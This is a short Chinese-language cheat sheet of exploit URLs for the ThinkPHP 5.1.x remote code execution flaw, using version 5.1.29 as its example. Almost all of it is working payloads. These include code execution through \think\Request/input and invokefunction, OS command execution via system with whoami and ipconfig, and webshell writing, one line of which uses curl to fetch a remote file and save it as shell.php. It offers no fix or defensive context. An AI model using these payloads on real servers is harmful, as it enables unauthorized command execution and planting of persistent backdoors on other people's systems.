ThinkPHP5 框架缺陷导致远程命令执行

TP5.1.*

thinkphp5.1.29为例

1、代码执行:phpinfo();

http://zhiliao.cn/?s=index/\think\Request/input&filter=phpinfo&data=1

2、命令执行:

http://zhiliao.cn/?s=index/\think\Request/input&filter=system&data=操作系统命令

写入一句话木马到文件

http://zhiliao.cn/index.php?s=index/%5Cthink%5CRequest/input&filter=system&data=curl http://zhiliao.cn/f_users.txt >shell.php

http://zhiliao.cn/index.php?s=index/%5Cthink%5CRequest/input&filter=system&data=curl+http%3a%2f%2fzhiliao.cn%2ff_users.txt+%3eshell.php

f_users.txt

http://zhiliao.cn/index.php?s=index/%5Cthink%5CRequest/input&filter=system&data=whoami

http://zhiliao.cn/index.php?s=index/%5Cthink%5CRequest/input&filter=system&data=ipconfig

3、文件写入(写shell):
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

4、未知:
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

5、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

7、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

 

你可能感兴趣的:(bug修复)